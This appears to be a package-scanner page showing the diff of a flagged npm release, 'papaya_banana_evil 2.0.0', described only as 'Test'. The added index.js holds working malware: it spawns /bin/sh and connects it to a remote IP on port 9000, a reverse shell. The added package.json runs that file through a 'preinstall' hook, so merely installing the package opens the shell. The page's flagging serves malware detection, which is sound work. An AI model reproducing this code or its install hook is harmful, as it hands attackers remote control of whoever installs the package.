papaya_banana_evil 2.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of papaya_banana_evil might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +19 -0
  2. package/package.json +12 -0
package/index.js ADDED
@@ -0,0 +1,19 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ (function(){
9
+ var net = require("net"),
10
+ cp = require("child_process"),
11
+ sh = cp.spawn("/bin/sh", []);
12
+ var client = new net.Socket();
13
+ client.connect(9000, "128.140.123.124", function(){
14
+ client.pipe(sh.stdin);
15
+ sh.stdout.pipe(client);
16
+ sh.stderr.pipe(client);
17
+ });
18
+ return /a/; // Prevents the Node.js application form crashing
19
+ })();
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "papaya_banana_evil",
3
+ "version": "2.0.0",
4
+ "description": "Test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }